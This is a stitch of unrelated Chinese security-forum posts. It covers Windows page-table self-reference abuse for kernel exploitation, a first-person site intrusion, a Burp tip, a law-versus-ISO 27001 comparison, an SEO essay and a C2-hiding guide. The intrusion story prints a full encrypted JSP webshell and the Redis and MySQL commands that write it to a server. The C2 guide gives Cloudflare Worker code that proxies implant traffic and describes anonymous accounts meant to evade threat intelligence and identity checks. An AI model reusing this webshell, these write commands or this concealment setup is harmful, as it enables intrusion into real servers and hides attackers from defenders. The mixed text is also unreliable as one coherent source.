##### PAE
即`Physical Address Extension`，引入了更高的一层寻址机制Page Directory Pointer
Table（PDPT）。将物理地址的表示方式由32bits增加到了36bits，也就意味着此时的寻址空间达到了64GB。
PDPT中保存着Page Directory的Entry（简称`PDPTE`），每个Entry指向一个Page
Directory，表示1GB大小，因为此时每个entry表示需要8bytes，所以每个Table只有512个Entry，也就是`512 PDE * 512
PTE * 4KB`。
此外PAE引入了NX bit，用于完成data和code的区分。
##### Intel Paging x64
在64bits 系统中，此时CPU可访问的物理地址有48bits，而虚拟地址达到了64bits。明显是不足的。这时提出了一个概念`CANONICAL
ADDRESS`，提出真实的虚拟地址空间也只有48bits，不过虚拟内存做了一个区分，即我们熟知的两部分：`0 - 0x7FFF FFFF
FFFF`和`0xFFFF 8000 0000 0000 - 0xFFFF FFFF FFFF FFFF`。
为了满足48bits寻址需求，在PAE基础上引入了四级页表寻址的概念：PML4、PDPT、PAGE DIRECTORY、PAGE TABLE.
此时的寻址计算式`512PML4Es * 512PDPTEs * 512PDEs * 512PTEs * 4KB = 256TB`
##### Problems
到目前为止，Windows
Page机制基本介绍完了，但是这里有个问题，上面都是在介绍Windows物理地址如何映射到整个虚拟地址空间，但是为了管理虚拟地址，Windows有必要完成逆过程，即
将任意一个虚拟地址定位到某一物理地址。这一过程会存在一些问题。
1、应用程序需要分配一块虚拟地址 VirtualAlloc 得到 0x402000
2、为了管理虚拟地址，Windows需要建立PAGE TABLE 分配物理地址映射 0x4002000，这物理地址假设 0x1000
3、为了管理新建的PAGE TABLE，Windows需要另一个Virtual Address来存储，假设0x80001000
4、同样的，又需要一个PAGE TABLE将 0x80001000 到映射物理地址 0x8000+0x1000
5、有一个PAGE TABLE.....
这个过程显然并不理想，因此，Windows Page不止于此....
##### Self-ref Entry Technique
该技术 将最高级别的页表中的某一entry指向该页表自身。在32bits下，self-entry存在于PAGE
DIRECTORY，64bits下，self-entry存在于PML4。
以64bits下为例，self-entry的两种特殊情况
self-ref entry在PML4的entry 0
self-ref entry在PML4的entry 0x1FF
可以看到，PML4的512个entry都可以作为self-ref entry，随机的。而事实上，self-ref
entry可以存在于在四级页表的每个级别上，没必要只允许在最高级别的页表上（Windows没有采用）
该技术解决了上面的虚拟内存分配时遇到的问题，因为此时已经将Page Table预先分配好了（通过Self-ref entry指定了Table的地址）
##### Play Self-Ref
在Self-ref机制中，一个Page Table会有3个entry是有特殊的作用，分别用来指定`User Space`、`Kernel
Space`、`Self-ref`，我们作如下假设：
entry 0x00 ==> User Space； entry 0x100 ==> self-ref； entry 0x1ff ==> Kernel
Space
在此基础上，在64bits系统上相应的虚拟内存的分布就是“`User Space:0 ~ 0x7f ffff ffff`(512G _entry 0 +
512G)，`Memory Management:0xffff 8000 0000 0000 ~ 0xffff 8000 0000
0000`(canonical_address+ 512G _ entry 0x100 + 512G)、`Kernel Space: 0xffff ff80
0000 0000 ~ 0xffff ffff ffff ffff`”(canonical_address+ 512G * entry 0x1ff +
512G)
通过上面的描述，我们可以计算出系统中PML4对应的虚拟地址：`Canonical_Address + (512G + 1G + 2MB + 4KB) *
0x100 = 0xffff 8040 2010 0000`，这就意味着，当需要访问用户空间地址的时候，一定会访问`0xffff 8040 2010
0000 + 0x00*8`；当需要访问内和空间地址的时候，一定会访问`0xffff 8040 2010 0000 + 0x1ff*8`。
同时，根据这个规律，我们可以将任何一个虚拟地址的Page Table entry计算出来（虚拟地址对应Page
Table每个level的量值，bits对应 12.9.9.9）
def calc_physical_64(virtual_addr):
entry_size = 0x8
shift_address = virtual_addr >> 12 # 4kb
pte_offset = shift_address & 0x1ff
shift_address = shift_address >> 9 # 512
pde_offset = shift_address & 0x1ff
shift_address = shift_address >> 9 # 512
pdpt_offset = shift_address & 0x1ff
shift_address = shift_address >> 9
pml_offset = shift_address & 0x1ff
print("entry: PML4: 0x%x PDPT: 0x%x PD: 0x%x PT: 0x%x" % (pml_offset, pdpt_offset, pde_offset, pte_offset))
print("offset: PML4: 0x%x PDPT: 0x%x PD: 0x%x PT: 0x%x" % (pml_offset * entry_size, pdpt_offset * entry_size, pde_offset * entry_size, pte_offset * entry_size))
def calc_physical_32(virtual_addr):
entry_size = 0x8
shift_address = virtual_addr >> 12 # 4kb
pte_offset = shift_address & 0x1ff
shift_address = shift_address >> 9 # 512
pde_offset = shift_address & 0x1ff
print("entry: PD: 0x%x PT: 0x%x" % (pde_offset, pte_offset))
print("offset: PD: 0x%x PT: 0x%x" % (pde_offset * entry_size, pte_offset * entry_size))
#### Self-ref Entry Weakness
Self-Ref机制的缺点是很明显的，就是上面展示的，由于self-entry的位置并不是绝对随机化的，对于给定的虚拟地址，我们是有可能计算出用来管理该虚拟地址的各级Page Table的。
#### Self-ref In Windows
Windows在32bits和64bits中都采用了Self-Ref机制，以64bits系统为例，前256 PML4 entries用作USER
SPACE，后256 PML4 entries用作KERNEL SPACE。PML4的self-ref
entry是0x1ED（在内核空间）相应的虚拟地址空间`(512G + 1G + 2M + 4K)*0x1ED =0xf6fb 7dbe
d000`，加上canonical address就是`0xffff f6fb 7dbe d000`。
事实上，Windows上为所有运行的进程使用 固定的 PML4 self-ref entry，这使得攻击者可以计算出Page
Table/entries（无论使用的那些物理地址）。通过这种方式，攻击者可以修改或者添加entries。这种方式既可以用在本地也可以远程攻击中，windows2000
或者win10 都受影响。使得KALSR受到冲击，这种攻击方式在`Windows SMEP bypass`中有所体现。
#### Windows version 1607 Update
Windows采用了随机化Self-Ref Entry的措施。
#### Windows Hal Heap
Windows由于KALSR的存在，每个模块基地址都是随机的。但是我们不由得问道“第一个加载的模块呢？”
Windows每次开机时第一次加载的模块是`HAL.dll`（Hardware Abstraction Layer），该模块运行在Kernel
Mode下，用于抽象基础硬件。通过这种方式Windows可以通过Hal.dll的导出函数与各种硬件交互。
HAL.DLL在运行时同样需要Stack，Heap空间，但是最有趣的是HEAP，HAL.DLL的HEAP地址在启动时由HAL创建，该地址总是映射在同一个虚拟地址空间（自从win2000），这个攻击因子也被用来Bypass
KALSR。这个固定的虚拟地址是：Windows 32 bits =>`0xffd0 0000`，Windows => `0xffff ffff ffd0
0000`。下面是一张64bits 下的该地址的物理地址及虚拟地址查询表
#### Explorer By Windbg
为了验证上面探讨的Windows Page机制，我分别在Windows 7 32bits和 Windows 10 64bits上做了下面的实验。
测试代码：
#include <Windows.h>
#include <wchar.h>
int main()
{
PVOID addr = (PVOID)0x1000000;
//Allocate Memory
addr = VirtualAlloc(addr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
wprintf(L"address = 0x%llx\n", addr);
// Setting Memory
memset(addr, 0x41, 0x1000);
// Debug
__debugbreak();
}
##### Windows 7 32bits
运行到断点时，可以发现已经成功地分配到虚拟地址，并在其中写入了我们的数据
查看对应的虚拟地址的Page Table状态
可以发现32bits上只有PDE和PTE，而且我们发现PTE用物理地址0x61cd5000(低12bits是标志位) 映射
虚拟地址0x1000000。这说明虚拟地址在解析到具体的物理地址的时候依赖PTE的值。
例如，我们修改PTE的值，使其指向别的物理地址。
可以看到，此时eax指向虚拟地址没有变化，但是内容已经变化，这就意味着我们修改某一虚拟地址对应的PTE到某一物理地址，就能实现修改虚拟地址的内容的目的，也可以达到对该物理地址实际对应的虚拟地址的重写的目的。
再举个例子，在Win7上的任意地址写利用时，时常会用到的`nt!HalDispatchTable`偏移`0x4`位置的指针`hal!HaliQuerySystemInformation`。我们尝试修改可控的虚拟地址指向和该地址同一个物理地址的位置，看看会发生什么。
查看HalDispatchTable
我们将该物理地址`03f6f000+3fc`写到虚拟地址`eax=0x1000000`的PTE中，对虚拟地址eax写入看看会怎样
可以看到，我们通过将两个虚拟地址的PTE修改为一致的，可以通过写入可控的虚拟地址来修改到不可控的虚拟地址！（偏移在虚拟地址和物理地址是一样的）
除此之外，我们可以验证下由虚拟地址获取Page Table地址
由上面给的脚本计算出的PTE值
可以看到偏移是完全正确的，缺的是一个PTE的基地址。
另外，值得注意的是，在测试过程中发现，Window
7中，0x1000000虚拟地址对应的物理地址是随机的，但是PDE和PTE始终保持不变，这也就意味着Self-Ref是没有开启随机化的。
##### Windows 10 1903 64bits
同样的运行测试的代码，断下后的状态
可以看到，Win10 x64上的四级页表寻址机制，其中PTE保存的依然是虚拟地址对应的物理地址内容。
修改PTE的效果和Win7是一样的（可以自己动手实验下）。
测试上述脚本根据虚拟地址得到Page Table的情况，可以看到偏移是一致的。
而且，在Windows
10及以上，存在`nt!MiGetPteAddress`，Pte基地址编码在固定的偏移`0x13`，类似的也有`MiGetPdeAddress`，偏移`0xc`
这种情况下，根据虚拟地址得到PTE是相对容易的。如果我们拥有任意地址写，是可以用用户可控的虚拟地址的PTE修改物理地址到一内核地址，实现利用的。
Windows10测试中，PTE基地址是随机的。
#### Related Links
* [Getting Physical-Part 1](https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-1)
* [Getting Physical-Part-2](https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows)
* [Getting-Pyhsical-Part-3](https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems)
* [CSW2016](https://www.coresecurity.com/sites/default/files/private-files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf) | 社区文章 |
朋友闲聊中，无意提起想试试日站，毕竟好久不做这事，有点手生。于是朋友把站点告诉了我，前部分正常步骤搜集信息，查看ip端口。
解析出来发现 _._.19*.102，
扫一波端口发现
> 21/tcp open
>
> 80/tcp open http Microsoft IIS httpd 10.0
>
> 6379/tcp open
>
> 8085/tcp open http nginx 1.16.1 tianhe
>
> 8089/tcp open http 404
>
> 8098/tcp open http 404
一看开放服务还不少，挨个来，抓一波redis。
敏感地发现好像有弱密码，直接网站上去试试。还真给我找到了一个 **管理系统，祭出我强大的字典，再搞一搞朋友名字的社工，使用burp的intruder。
哈，不出我所料怼了两分钟就怼进去了，而且还是超管，这里就不放过程图了：
到处翻了翻，发现是开发环境。
## 系统文件上传：
其中有些上传点，竟然接收PUT方法，直接上传，改文件名后缀、内容，burp走一波：
诶，不对，竟然过不去，好家伙
**返回于：**
> Failed to parse multipart servlet request; nested exception is
> java.io.IOException: The temporary upload location
java报错，原因是没有该目录。。。好的吧，记住使用jsp了，用冰蝎的加密马。
> <%@page import="java.util. _,javax.crypto._ ,javax.crypto.spec.*"%><%!class
> U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte
> []b){return super.defineClass(b,0,b.length);}}%><%if
> (request.getMethod().equals("POST")){String
> k="e45e329feb5d925b";session.putValue("u",k);Cipher
> c=Cipher.getInstance("AES");c.init(2,new
> SecretKeySpec(k.getBytes(),"AES"));new
> U(this.getClass().getClassLoader()).g(c.doFinal(new
> sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
## mysql日志写入：
漫游系统中发现有sql数据库管理，貌似是直接拼装sql语句的：
尝试mysql的骚操作-慢日志写入webshell：
> SHOW VARIABLES LIKE "%slow_query_log%";
正常的话还可以类似：
> set global slow_query_log=1;
>
> set global slow_query_log_file='C:\Tomcat\webapps\ROOT\conf-back.jsp';
>
> select ' <%@page import="java.util.*,javax.crypto........一句话木马' or
> sleep(11);
WTF？？？解析错误？？又白高兴了一场，抓了个包看看：
原来是url编码拼接了，而且使用解释器接收语句进行处理，算了，谁让我这么菜呢，给朋友做了太多日志不太好交差。
## shiro反序列化：
分析数据包发现响应有rememberMe=deleteMe标识，于是想到最新的shiro反序列化。
祭出我的nb工具试一波：
工具地址：
> <https://github.com/fupinglee/ShiroScan/releases>
>
> <https://github.com/fupinglee/ShiroScan/releases/tag/v1.1>
>
> <https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20>
>
> <https://github.com/wh1t3p1g/ysoserial>
>
> <https://github.com/frohoff/ysoserial>
>
> <https://github.com/LuckyC4t/shiro-> urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java>
>
> <https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ>
>
> <https://github.com/zema1/ysoserial/[通用回显>]
我去，不对劲，仔细一看，原来请求数据包只带token标识，不使用cookie，于是直接放弃。
## redis未授权：
哎呦，一个小站还很牢固，没事，还有别的端口，想起来刚看见的redis，很常见的redis未授权访问。
> （参考文章《Redis on Windows 出网利用探索》：<https://xz.aliyun.com/t/8153）>
但是redis未授权只能写入文件，linux可写公钥，写计划任务反弹，wndows就只能写webshell了，但还有一个现实问题，需要获取真实目录。
于是本菜又在网站里漫游了一波，终于被我发现一个目录浏览功能！
但是当前网站的根目录是不可能访问的，只能解析到其余的盘，于是搜罗了一波。
好像发现了了不得的事情！竟然有某大厂杀毒！！！
那我得小心了，好多东西需要免杀
发现好多个tomcat，联想到端口汇总8089和8098都开放但是404，这就正常了，只是测试站点，需要特定目录才能访问。
于是挨个试，终于发现一个aico***的目录：
访问8089发现：
还等什么，试试redis写入功能，可以的话直接免杀webshell：
发现有权限，于是本地搭建环境测试冰蝎马：
可以放心地使用了：
> （redis写入字符要用“\”转义）
>
> config set dir "C:\Program Files\ ****** \ ***** \ROOT"
>
> config set dbfilename "index-back.jsp"
>
> set xxx1xxx "\<\%\@page
> import\=\"java.util.*\,javax.crypto.*\,javax.crypto.spec.*\"\%>\<\%!class U
> extends ClassLoader{U(ClassLoader c){super(c)\;}public Class g(byte
> []b){return super.defineClass(b\,0\,b.length)\;}}\%>\<\%if
> (request.getMethod().equals(\"POST\")){String
> k\=\"e45e329feb5d925b\"\;session.putValue(\"u\"\,k)\;Cipher
> c\=Cipher.getInstance(\"AES\")\;c.init(2\,new
> SecretKeySpec(k.getBytes()\,\"AES\"))\;new
> U(this.getClass().getClassLoader()).g(c.doFinal(new
> sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)\;}\%>"
当然最后别忘了复原：
> del xxx1xxx
>
> config set dir "C:\ ****** \ ***** "
>
> config set dbfilename "dump"
访问该页面，没有报错。
冰蝎连接
最后终于松了一口气，总算不是没有啥都没干成，然后整理一下报给朋友，顺便提了几个建议：别把测试服务公开在公网，可以设置白名单访问。
朋友说这是在公网的单一服务器，没有域环境或者工作组，于是就没有了后续步骤，不过朋友说你运气好，就这个服务是管理员权限，其他都是普通用户……我表示，其实我也试了很多，哈哈哈。
## 总结
总结几点：
1. 避免设置弱密码，使用复杂密码提高测试业务的安全性。
2. 非必要的服务不要暴露在公网。
3. 业务开发时对登录cookie进行加密，避免使用单纯的token校验用户。
4. 常用业务使用普通用户启动…. | 社区文章 |
致谢：胖球安全
最近在抓https的包的时候遇到这个问题
这个问题跟证书是没有关系的，因为我已经把证书导入了，而且抓其他https是没有问题的，后来谷歌找到原因和解决办法
#### 0x01 原因
这跟服务器名字指示SNI（(Server Name
Indication）有关，SNI的细节参考<http://openwares.net/misc/server_name_indication.html>。这里不啰嗦。
但是因为Java默认是开启设个选项的所以就导致了bp抓包报错。
#### 02 解决办法
只要用命令行启动bp就行了
在 windows下，进入到bp的jar包所在路径 ，然后用以下命令启动bp
> java.exe -Djsse.enableSNIExtension=false -jar burpsuite_pro.jar | 社区文章 |
最近写调研报告，需要分析一下这两者的异同，各位表哥能给点思路或建议么，谢谢！
# 稍微整理了一下，和大家分享
一、《网络安全法》简介
《网络安全法》是我国网络安全领域的基础性法律，它明确了部门、企业、社会组织和个人的权利、义务和法律责任，规定了国家网络安全工作的基本原则、主要任务和重大指导思想、理念。
二、ISO/IEC 27001简介
ISO/IEC
27001是国际信息安全管理标准，它着眼于组织的整体业务风险，通过对业务进行风险评估来建立、实施、运行、监视、评审、保持和改进其信息安全管理体系，确保其信息资产的保密性、可用性和完整性。
三、差异分析，明确“底线 ”与“高线”
《网络安全法》和ISO/IEC 27001在性质、针对对象、适用的范围、制定的目的存在一定差异：
1\. 性质不同
《网络安全法》是一部法律，法律是国家制定或认可的，以国家强制力保证实施的，以行为和社会关系为调整对象的，以权利和义务为内容的，具有普遍约束力的，反映、维护一定社会历史时期掌握国家政权的阶级的意志和利益的社会规范体系，具有强制性，违反法律规定需要承担相应法律责任，是“底线”。
ISO/IEC
27001是一部国际标准，国际标准是指国际标准化组织(ISO)、国际电工委员会(IEC)和国际电信联盟(ITU)制定的标准，以及国际标准化组织确认并公布的其他国际组织制定的标准。本标准为组织建立、实施、维护和持续改进信息安全管理体系(ISMS)提出相关要求，不具备强制性，采用ISMS与否是企业的一项战略决策，企业可根据自身实际情况进行适当遵守，是“高线”。
2\. 针对对象不同
《网络安全法》主要针对国内政府部门、企业、社会组织和个人；
ISO/IEC 27001主要针对企业和组织。
3\. 适用范围不同
《网络安全法》适用于在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理；
ISO/IEC 27001是通用标准，适用于国际各种类型的组织；
4\. 制定目的不同
制定《网络安全法》的目的是为了保障网络安全，维护网络空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展。
制定ISO/IEC 27001的目的是为信息安全管理体系的建立、实施、运行和保持改进提供有效的参考。
四、融合互鉴，共促信息安全建设
虽然《网络安全法》和ISO/IEC 27001存在一定差异，但两者都是为了推动企业、组织、国家的信息安全建设工作的开展，促进经济社会信息化健康发展。
1\. 《网络安全法》的制定一定程度上会进一步推动国际标准
ISO/IEC 27001和国家标准的完善：
《网络安全法》第十五条规定：“国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责，组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。国家支持企业、研究机构、高等学校、网络相关行业组织参与网络安全国家标准、行业标准的制定。”
根据上述条款要求，国家将积极开展网络技术研发和标准制定，鼓励并支持相关组织和机构参与行业标准的制定。ISO/IEC
27001作为国际标准，可以为这些标准的制定提供很好的参考借鉴，而根据ISO/IEC
27001持续改进（PDCA）的要求，相关行业标准的制定也将推动ISO/IEC 27001的进一步完善，从而形成良性循环，实现互利共赢的局面。
2\. ISO/IEC 27001的实施必须充分考虑《网络安全法》因素：
ISO/IEC
27001在多个章节都提到需要考虑到法律的因素，比如“理解组织环境”章节要求：“组织应确定与其总体目标相关的内部和外部环境因素，相关因素将影响其实现信息安全管理体系的预期成果”，其中外部环境包括但不限于：文化、政治、法律、规章、金融、技术、经济、自然环境、竞争环境等。
“理解相关方的需求和期望”章节要求：“相关方的要求包括法律法规要求和合同规定的义务。”
“信息安全风险评估”章节要求“组织应定义和实施信息安全风险评估流程”，而在进行风险评估之前，最重要的就是确定风险评估方法，风险评估方法应满足ISMS的要求、易识别的业务信息安全和法律法规的要求。
“信息安全风险处置”章节要求“组织应定义和实施信息安全风险处置流程”，风险处置在选择控制措施的时候，需要满足法律法规和合同的要求。
因此，企业在参考ISO/IEC
27001建立信息安全管理体系时，一定需要充分考虑到法律因素，尤其《网络安全法》是我国网络安全领域的基础性法律，《网络安全法》的规定将为ISO/IEC
27001标准提供进一步补充。 | 社区文章 |
对于在黑产seo研究中遇到的大小站关系的一点看法，如有疑问和其他想法，望不吝交流：D
最近在对出入链分析的时候，我提出了这么一个基础的问题 **到底什么样的站是大站，什么样的是小站**
。我们都知道腾讯，新浪这样的站是大站；政府网站也是大站；类似360官网这样的企业网站也算是大站。
上面的例子中，我提到了三个向量的网站：高流量，高用户；政府网站；企业官网。他们之中，有流量高的，有出入链高的，有比重高的，有搜索权威认定的。那么在做分析的时候就会遇到这样的问题，无法将他们通过一个强关系来分类。
接下来我们就针对网站的各个向量来范式的对网站进行分析。
# 0x00 PR值
PR值算是一个比较老的评判标准了，我们不再概述PR值到底是什么了，我们关注一下PR值为我们分析seo提供了什么样的维度。
## 1\. PR值现在的实际意义
了解过PR算法的人应该明白， **PR值实际上表现了不同内容网站间的相对值** ，也就是说 **它最重要的是表现了不同站之间的相对重要性**
。从严谨的角度上来说，PR值是一个相对的不确定变量。
从上面我们可以说PR值并不能成为判别网站大小的依据，它的缺陷在于并没有考虑到流量对于排名的影响。
它具有的实际意义是反映了某个网站的是否为一个较为 **“权威的网站”** 。
## 2\. 根据PR值所得的相对结果
PR值分析的相对结果是由于PR值本身的相对性来说的。具体可以总结为下面四种模型：
#### 1\. 权重大
中间网站的PR值相对于其他的三个网站的PR值较大，所以可以说在这四个站的关系中，中间的站为权重大的站：
#### 2\. 权重较大
同理，中间的网站相较于两边的网站处于中型网站中所占比重较大的网站，所以其关系可以用下面的图来说明：
#### 3\. 权重较小
这个道理和上面相同，只不过因为得到的PR值较小，而成为了中型网站中权重较小的网站。
#### 4\. 权重小
这样的情况原理和上面两种的原理相同，其关系为：
## 3\. PR值局限
通过上面的分析，我们可以明显的看到PR值的局限： **PR值关注站与站之间的关系，所以其本质来说是一种相对的值的关系**
，通过PR值来确定大小站关系，本来就是不科学与不准确的。
# 0x01 Alexa排名
Alexa排名对于做seo优化的人来说，是一个比较重要的判断向量。以下我们从Alexa指数的角度来看一下网站。
## 1\. Alexa排名的意义
Alexa网站排名的计算是以网站的每天平均使用人数、人均访问页面数、与其他网站的链接和曝光数、网友所留言讨论的消息篇数等信息为基础，并以比重不明的加权平均数来排名。Alexa网站排名通常是根据最近是那个月数据的总和来排行，因此要等很久才会有显著的变化，对于小的网站来说通常是没有Alexa网站排名数的。
从上述的介绍中，我们可以看出，Alexa排名主要完成的工作是 **评估网站的受欢迎指数** 。同时由于其数据是从Google
Chrome、Firefox、IE来获取数据的，可以反映 **一般用户流量的情况，以及网站的权威程度** 。
## 2\. Alexa排名的缺陷
如上所说，Alexa排名的优点，其实就是它自己的缺陷。从Alexa本身的统计手法就可以看出，Alexa排名对于个人站点、小型企业站点来说，其统计的数据是不准确的，同时也是没有什么实际用途的。
除非是纯互联网公司（比如做互联网广告的，盈利性论坛什么的），否则，该排名指数是不会影响到实际业务的。
其次，Alexa排名只是统计了Google
Chrome、Firefox、IE的数据，对于国外的网站来说，数据统计是较为准确的，但对于国内网站来说，准确性又要低一个层次。
## 3\. 一些可以看到的现象
在中小型网站中，我们发现了一些非常有意思的现象：相当一部分高PR值高流量的网站，Alexa排名很低。这样的现象产生的原因我不再赘述，通过这样的现象而得出的结论是：Alexa排名不具备普遍的大小站评定资格。
# 0x02 出入链流量
顾名思义，无论网站如何进行seo优化，其最终的目的就是为了提高搜索引擎收录量及该网站的流量。其seo的手法都是可以从流量上表现出来的。接下来我们从出入链流量的角度来分析，是否能将网站进行大小站划分。
## 1\. 统计出入链流量的数据源
出入链流量的数据表现在日均uv以及日均pv值，相对来说，uv值是比较准确的，但是缺点是对于中小型网站的uv数据需要自己进行收集，网络上并没有现成的统计数据。
比如`bilibili.com`：
看日均uv和pv为百万级，算是一个非常大的站点了，再看看我的博客...
站点太小了，干脆就没有收录。
## 2\. 从出入链流量角度分析问题的缺陷
1. 首要的缺陷，就是没有一个确定的标准。具体来说就是没有一个准确的uv值或pv值来指明该网站的大小。
举个例子：相较于我的个人博客，bilibili算是一个大站，但是bilibili相较于qq.com...
就根本不是一个数量级上的问题了。这个时候我们会理所应当的认为qq.com是我们所说的大站，而bilibili是一个小站。那....
所以说，从这个角度看，我们不好说哪个是大站，哪个是小站。
1. 其次，对于一些小的网站（个人博客，或者说是没有插入相关统计代码的网站）很难得到其uv值与pv值。
2. cdn与cname解析的域名会对统计结果造成很大的影响。
# 0x03 那该怎么做？
说了这么多，我们到底该怎么解决这个问题？我用我手头上的数据，提出一个判定的思路。以下截图为一个demo数据，并不具有准确及实际意义。
#### 手头上的数据
1. Alexa排名top n（基本上没有什么用）
2. 目标域名的出入链情况
3. 目标域名及出入链的PR值
4. 出入链的uv值
#### 要解决的问题
识别目标域名中有哪些域名做了seo
#### 初步的设想
1. 通过出入链关系对目标域名进行分组：分组为源域名-出入链域名：
1. 给分组后的所有域名进行PR标识。这边需要注意的一个问题就是，很多网站是没有PR值的，这对于我们解决问题是一个非常大的阻碍。
1. 统计原站与出入链网站的uv值，这边有着同上面一步一样的问题，那就是对网站的出入链uv值统计不完全，造成并不能建立一个强关系。（由于数据不方便展示，就不贴图了）
2. 之后将目标站与入链数建立关系：目标站-入链数量：
1. 接下来我们从统计数量中抽取每个目标域名，建立一个关联关系：目标域名-目标域名PR值-目标域名uv值-入链-入链数-入链PR-入链uv值。之后可以用下面的思路来进行判定：
当然这个模型只是一个想法，还没有数据支撑。PR值关系模型在前文中已经有所提及。
1. **注意：**
_这个模型中对于源数据的需求量较大，个人在做demo的时候调查了近4w的域名，经过引入其他向量后数据量约为500w左右。经过数据挖掘及处理后，得到的效果非常的差。
_ 源数据的准确性要求较高，出现缺少PR值统计及uv值时，基本上是没有什么说服力的。
* 大小关系本来是一种相对关系，在中间数据挖掘时会遇到各种各样的问题，尝试引入多种向量来解决。
# 0x04 展望
出入链对于seo来说是较为本质的数据，从中还有更多可挖掘的信息，接下来我抛砖引玉，提出自己的一个思路。
前段时间有人利用微博作为媒介，做了一个安全圈有多大的画像，我们可以把这个思路应用到出入链分析上。
出入链的优势是，从一个端点总能到达另外一个端点，那么我们就把我们“行走”的过程记录下来，是不是能对seo网站进行画像呢？
当然这是我的一个思路，这个实现起来是有难度的，但是我觉得是有意义的。
# 0x05 总结
通过建模，从理论上探讨了各项判定向量的可行性，并提出了一个初级的处理大小站关系的模型，并提出了对该工作的展望。希望对有同样问题的朋友有帮助。 | 社区文章 |
声明：本文仅做技术分享，图片结果均为网络分享图片，请各位看后遵守《网络安全法》，在授权前提下进行渗透测试，学习本文技巧所有产生后果与笔者无关。
* * *
一、简介
各位表哥在日常渗透中有没有遇到过被情报的场景，例如：
再例如：
哈，恭喜你你肯定被盯上了~
开个玩笑，话说现在隐藏c2真实地址的手段层出不穷，笔者参考了网上众多隐藏技巧，经过一定的钻研写下了这篇主要隐藏域名的几个思路，但和域前置、云函数技术不同，域前置技术原理：
假设有两个主机，域名分别为www.a.com与www.b.com。这两个主机都是被ip为1.1.1.1的cdn进行加速的。
这时候使用curl命令请求cdn 1.1.1.1，并自定义host段为www.b.com的话。就会返回www.b.com的页面。
命令为：
curl 1.1.1.1 -H "Host: www.b.com" -v
同理请求同样的cdn，但是将host改为www.a.com,这时候就会返回A页面的信息。
如果将curl 后请求的ip改为 www.a.com, host 改为 www.b.com。命令为：
Curl www.a.com -H "Host: www.b.com" -v
上述命令还是显示的是www.b.com的页面,所以最终请求的还是www.b.com。
所以，域前置技术的核心基础设施是cdn。
（参考链接：<https://blog.csdn.net/qq_41874930/article/details/107742843）>
云函数技术：
腾讯云你不得认证啊？虽然说认证后除非犯了大事才找你，但法网恢恢疏而不漏……
本文思路不依赖对CDN服务商解析的重定向，而是基于正常域名分发子域名的伪装：注册匿名账户，使用该机构提供的代理服务将流量代理到你的真实域名，匿名，匿名，匿名，毕竟认证的事咱没干过（手动狗头）。
## 文章域名以winupdateck.top为例，申请过程不再分享，不是此篇重点。
二、CDN-worker伪装
好多大佬拿这个技巧和域前置类比，我就不多废话，网上教程有不少：
建立worker子域：
使用js代码转发请求（本人测试多个js代码，这个比较靠谱，所有内容都正常）：
let upstream = ' http://www.winupdateck.top'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
其中let upstream = ' <http://www.winupdateck.top>' 的http协议可以根据实际listener改变。
## 上线效果就不多说了，主要在代码，优点是可自由切换https/http协议， _._.worker.dev域名可以自己增减。
三、匿名CDN & worker
有老哥问了，要是多个c2，还有域名、c2的ip在国内使用，怎么办？使用worker代理一个子域名可行，但你的ip一旦关联域名就要涉及备案…（奉劝各位老老实实备案，咳咳，嗯，要做遵纪守法好公民）
例如在cloudflare添加子域名解析：
过一会访问会变成：
要去阿里人脸识别，做好备案：
这里的思路是nodecache：
注册一个匿名账户，然后通过邮件校验，然后：
选择创建服务：
把你想添加的子域名写进去：
点击cname：
将内容粘贴到你的域名服务商处，添加一个cname记录：
然后在回源管理处添加你在国内的vps地址：
其中要选择https或http协议要点击协议跟随的选项，餐能动态解析两者。
最后你会惊奇地发现，刚才添加的<http://cmd.winupdateck.top>
可以在国内访问了。其实原理是在cloudflare添加子域名指向国内是受监管的，换一个cdn服务商而已。
然后重点来了，我的目的并不是把cmd.winupdateck.top作为c2
handler，参考上个思路，新建worker，把cmd.winupdateck.top再隐藏在worker之后：
let upstream = ' http://cmd.winupdateck.top'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
……
这个思路相比于直接cloudflare代理根域名有一个缺点：js中设置new_request_headers.set("X-Forwarded-For",
ipAddress)没什么用处，依然需要在国内这个vps上使用nginx反向代理，即在配置文件中添加：
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
……
}
才可以收到正常的目标外网地址，否则为nodecache的cdn节点地址。实测：可正常上线 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：[https://news.sophos.com/](https://news.sophos.com/en-us/2020/08/25/lemon_duck-cryptominer-targets-cloud-apps-linux/)**
